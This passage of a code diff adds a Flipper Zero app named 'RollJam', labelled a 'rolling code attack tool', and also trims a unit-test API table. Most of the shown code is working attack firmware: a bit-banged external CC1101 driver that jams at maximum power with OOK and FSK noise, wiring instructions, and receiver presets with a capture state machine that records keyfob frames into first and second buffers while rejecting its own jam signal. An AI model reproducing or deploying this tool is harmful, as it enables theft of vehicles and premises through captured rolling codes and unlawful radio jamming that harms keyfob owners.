return MU_EXIT_CODE;
}
TEST_API_DEFINE(run_minunit_test_js)

View File

@@ -7,8 +7,6 @@
#include <rpc/rpc_i.h>
#include <flipper.pb.h>
#include <applications/system/js_app/js_thread.h>
#include <applications/system/js_app/js_value.h>
static constexpr auto unit_tests_api_table = sort(create_array_t<sym_entry>(
API_METHOD(resource_manifest_reader_alloc, ResourceManifestReader*, (Storage*)),
@@ -34,21 +32,4 @@ static constexpr auto unit_tests_api_table = sort(create_array_t<sym_entry>(
xQueueGenericSend,
BaseType_t,
(QueueHandle_t, const void* const, TickType_t, const BaseType_t)),
API_METHOD(
js_thread_run,
JsThread*,
(const char* script_path, JsThreadCallback callback, void* context)),
API_METHOD(js_thread_stop, void, (JsThread * worker)),
API_METHOD(js_value_buffer_size, size_t, (const JsValueParseDeclaration declaration)),
API_METHOD(
js_value_parse,
JsValueParseStatus,
(struct mjs * mjs,
const JsValueParseDeclaration declaration,
JsValueParseFlag flags,
mjs_val_t* buffer,
size_t buf_size,
mjs_val_t* source,
size_t n_c_vals,
...)),
API_VARIABLE(PB_Main_msg, PB_Main_msg_t)));

View File

@@ -0,0 +1,23 @@
App(
appid="rolljam",
name="RollJam",
apptype=FlipperAppType.MENUEXTERNAL,
entry_point="rolljam_app",
stack_size=4 * 1024,
fap_category="Sub-GHz",
fap_icon="rolljam.png",
fap_icon_assets="images",
fap_libs=["assets"],
fap_description="RollJam rolling code attack tool",
fap_author="@user",
fap_version="1.0",
fap_weburl="",
requires=[
"gui",
"subghz",
"notification",
"storage",
"dialogs",
],
provides=[],
)

View File

@@ -0,0 +1,558 @@
#include "rolljam_cc1101_ext.h"
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <furi_hal_cortex.h>
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
// ============================================================
static bool otg_was_enabled = false;
static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled();
if(!otg_was_enabled) {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
furi_delay_ms(10);
}
}
}
static void rolljam_ext_power_off(void) {
if(!otg_was_enabled) {
furi_hal_power_disable_otg();
}
}
// ============================================================
// GPIO Pins
// ============================================================
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
static const GpioPin* pin_sck = &gpio_ext_pb3;
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
static const GpioPin* pin_amp = &gpio_ext_pc3;
// ============================================================
// CC1101 Registers
// ============================================================
#define CC_IOCFG2 0x00
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_SYNC1 0x04
#define CC_SYNC0 0x05
#define CC_PKTLEN 0x06
#define CC_PKTCTRL1 0x07
#define CC_PKTCTRL0 0x08
#define CC_FSCTRL1 0x0B
#define CC_FSCTRL0 0x0C
#define CC_FREQ2 0x0D
#define CC_FREQ1 0x0E
#define CC_FREQ0 0x0F
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM1 0x17
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_TEST2 0x2C
#define CC_TEST1 0x2D
#define CC_TEST0 0x2E
#define CC_PATABLE 0x3E
#define CC_TXFIFO 0x3F
#define CC_PARTNUM 0x30
#define CC_VERSION 0x31
#define CC_MARCSTATE 0x35
#define CC_TXBYTES 0x3A
#define CC_SRES 0x30
#define CC_SCAL 0x33
#define CC_STX 0x35
#define CC_SIDLE 0x36
#define CC_SFTX 0x3B
#define MARC_IDLE 0x01
#define MARC_TX 0x13
// ============================================================
// Bit-bang SPI
// ============================================================
static inline void spi_delay(void) {
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
}
static inline void cs_lo(void) {
furi_hal_gpio_write(pin_cs, false);
spi_delay(); spi_delay();
}
static inline void cs_hi(void) {
spi_delay();
furi_hal_gpio_write(pin_cs, true);
spi_delay(); spi_delay();
}
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
if((DWT->CYCCNT - s) > t) return false;
}
return true;
}
static uint8_t spi_byte(uint8_t tx) {
uint8_t rx = 0;
for(int8_t i = 7; i >= 0; i--) {
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
spi_delay();
furi_hal_gpio_write(pin_sck, true);
spi_delay();
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
furi_hal_gpio_write(pin_sck, false);
spi_delay();
}
return rx;
}
static uint8_t cc_strobe(uint8_t cmd) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
uint8_t s = spi_byte(cmd);
cs_hi();
return s;
}
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a);
spi_byte(v);
cs_hi();
}
static uint8_t cc_read(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0x80);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0xC0);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a | 0x40);
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
cs_hi();
}
// ============================================================
// Helpers
// ============================================================
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
cs_hi(); furi_delay_us(50);
cs_lo();
if(!wait_miso(10000)) { cs_hi(); return false; }
spi_byte(CC_SRES);
if(!wait_miso(100000)) { cs_hi(); return false; }
cs_hi();
furi_delay_ms(5);
FURI_LOG_I(TAG, "EXT: Reset OK");
return true;
}
static bool cc_check(void) {
uint8_t p = cc_read_status(CC_PARTNUM);
uint8_t v = cc_read_status(CC_VERSION);
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) {
return cc_read_status(CC_MARCSTATE) & 0x1F;
}
static uint8_t cc_txbytes(void) {
return cc_read_status(CC_TXBYTES) & 0x7F;
}
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
for(int i = 0; i < 500; i++) {
if(cc_state() == MARC_IDLE) return;
furi_delay_us(50);
}
}
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
static bool cc_configure_jam(uint32_t freq) {
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
// Fixed packet length, 255 bytes per packet
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
cc_write(CC_PKTCTRL1, 0x00); // No address check
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
cc_write(CC_FIFOTHR, 0x07);
// No sync word - just raw data
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
// Frequency
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// CRITICAL: LOW data rate to prevent FIFO underflow
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
cc_write(CC_MDMCFG1, 0x00); // No preamble
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
// Auto-return to TX after packet sent
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
// MAX TX power
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
// PATABLE: ALL entries at max power
// Index 0 = 0x00 for OOK "0" (off)
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
// Calibration
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
// Test regs
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
// Calibrate
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
// Verify configuration
uint8_t st = cc_state();
uint8_t mdm4 = cc_read(CC_MDMCFG4);
uint8_t mdm3 = cc_read(CC_MDMCFG3);
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
uint8_t plen = cc_read(CC_PKTLEN);
uint8_t pa0 = cc_read(CC_PATABLE);
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
return (st == MARC_IDLE);
}
// ============================================================
// FSK jam configuration (FM238 / FM476)
// Same low-rate FIFO approach but 2-FSK modulation
// ============================================================
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz, DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x00); // 2-FSK, no sync word
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
// Deviation: FM238=~2.4kHz, FM476=~47.6kHz
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
// FSK: constant PA, no OOK shaping
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t dev = cc_read(CC_DEVIATN);
FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
return (st == MARC_IDLE);
}
// ============================================================
// Jam thread - FIFO-fed OOK at low data rate
// ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
cc_strobe(CC_SFTX);
furi_delay_ms(1);
cc_write_burst(CC_TXFIFO, pattern, len);
cc_strobe(CC_STX);
furi_delay_ms(5);
}
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "========================================");
FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
app->frequency, app->jam_offset_hz, is_fsk);
FURI_LOG_I(TAG, "========================================");
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed!");
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: No chip!");
return -1;
}
bool jam_ok = false;
if(app->mod_index == ModIndex_FM238) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
} else if(app->mod_index == ModIndex_FM476) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
} else {
jam_ok = cc_configure_jam(jam_freq_pos);
}
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed!");
return -1;
}
static const uint8_t noise_pattern[62] = {
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55
};
furi_hal_gpio_write(pin_amp, true);
jam_start_tx(noise_pattern, 62);
uint8_t st = cc_state();
if(st != MARC_TX) {
cc_idle();
jam_start_tx(noise_pattern, 62);
st = cc_state();
if(st != MARC_TX) {
furi_hal_gpio_write(pin_amp, false);
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
bool on_positive_offset = true;
while(app->jam_thread_running) {
loops++;
if(is_fsk && (loops % 4 == 0)) {
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
on_positive_offset = !on_positive_offset;
cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
st = cc_state();
if(st != MARC_TX) {
underflows++;
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
uint8_t txb = cc_txbytes();
if(txb < 20) {
uint8_t space = 62 - txb;
if(space > 50) space = 50;
cc_write_burst(CC_TXFIFO, noise_pattern, space);
refills++;
}
if(loops % 500 == 0) {
FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
loops, underflows, refills, cc_txbytes());
}
furi_delay_ms(50);
}
cc_idle();
furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// GPIO
// ============================================================
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init");
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
void rolljam_ext_gpio_deinit(void) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Public
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + app->jam_offset_hz;
rolljam_ext_power_on();
furi_delay_ms(100);
rolljam_ext_gpio_init();
furi_delay_ms(10);
app->jam_thread_running = true;
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
app->jamming_active = true;
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}

View File

@@ -0,0 +1,22 @@
#pragma once
#include "../rolljam.h"
/*
* External CC1101 module connected via GPIO (bit-bang SPI).
* Used EXCLUSIVELY for JAMMING (TX).
*
* Wiring (as connected):
* CC1101 VCC -> Flipper Pin 9 (3V3)
* CC1101 GND -> Flipper Pin 11 (GND)
* CC1101 MOSI -> Flipper Pin 2 (PA7)
* CC1101 MISO -> Flipper Pin 3 (PA6)
* CC1101 SCK -> Flipper Pin 5 (PB3)
* CC1101 CS -> Flipper Pin 4 (PA4)
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
*/
void rolljam_ext_gpio_init(void);
void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app);

View File

@@ -0,0 +1,636 @@
#include "rolljam_receiver.h"
#include <furi_hal_subghz.h>
#include <furi_hal_rtc.h>
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
// ============================================================
// Presets
// ============================================================
static const uint8_t preset_ook_rx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xD7, // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x43, // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
CC_AGCCTRL1, 0x40, // CS_REL_THR relative threshold
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_rx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 50
#define MAX_PULSE_US 32767 // int16_t max — covers all keyfob pulse widths
#define SILENCE_GAP_US 50000 // 50ms gap = real end of frame for all keyfob types
#define MIN_FRAME_PULSES 20 // Some keyfobs have short frames
#define AUTO_ACCEPT_PULSES 300 // Need more pulses before auto-accept
// Tolerance for jammer pattern detection (microseconds)
#define JAM_PATTERN_TOLERANCE 120
static bool rolljam_is_jammer_pattern(RawSignal* s) {
if(s->size < 20) return false;
int16_t first = s->data[0];
int16_t abs_first = first > 0 ? first : -first;
int matches = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int16_t abs_val = val > 0 ? val : -val;
int diff = abs_val - abs_first;
if(diff < 0) diff = -diff;
if(diff < JAM_PATTERN_TOLERANCE) {
matches++;
}
}
return (matches > (int)(s->size * 8 / 10));
}
typedef enum {
CapWaiting,
CapRecording,
CapDone,
} CapState;
static volatile CapState cap_state;
static volatile int cap_valid_count;
static volatile int cap_total_count;
static volatile bool cap_target_first;
static volatile uint32_t cap_callback_count;
static volatile float cap_rssi_baseline;
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(cap_state == CapDone) return;
cap_callback_count++;
RawSignal* target;
if(cap_target_first) {
target = &app->signal_first;
if(target->valid) return;
} else {
target = &app->signal_second;
if(target->valid) return;
}
uint32_t dur = duration;
// Check silence gap BEFORE clamping so 50ms gaps are detected correctly
// Clamp only affects stored sample value, not gap detection
bool is_silence = (dur > SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(cap_state) {
case CapWaiting:
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_valid_count++;
cap_total_count++;
}
break;
case CapRecording:
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
cap_state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
}
return;
}
if(is_silence) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE) {
int16_t s = level ? (int16_t)32767 : -32767;
target->data[target->size++] = s;
}
cap_state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
}
return;
}
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
cap_valid_count++;
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
cap_state = CapDone;
}
}
}
break;
case CapDone:
break;
}
}
// ============================================================
// Capture start/stop
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
// Full radio reset sequence
furi_hal_subghz_reset();
furi_delay_ms(10);
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* preset;
switch(app->mod_index) {
case ModIndex_FM238:
case ModIndex_FM476:
preset = preset_fsk_rx;
break;
default:
preset = preset_ook_rx;
break;
}
furi_hal_subghz_load_custom_preset(preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
furi_delay_ms(5);
furi_hal_subghz_rx();
furi_delay_ms(50);
cap_rssi_baseline = furi_hal_subghz_get_rssi();
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_callback_count = 0;
// Determine target
if(!app->signal_first.valid) {
cap_target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
cap_target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
app->signal_first.size);
}
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
app->raw_capture_active, cap_target_first);
}
void rolljam_capture_stop(RollJamApp* app) {
if(!app->raw_capture_active) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
// ============================================================
// Validation
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(cap_state != CapDone) {
// Log every few checks so we can see if callbacks are happening
static int check_count = 0;
check_count++;
if(check_count % 10 == 0) {
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
}
return false;
}
if(signal->size < MIN_FRAME_PULSES) return false;
// Reject jammer noise: if signal is uniform amplitude, it's our own jam
if(rolljam_is_jammer_pattern(signal)) {
FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
int good = 0;
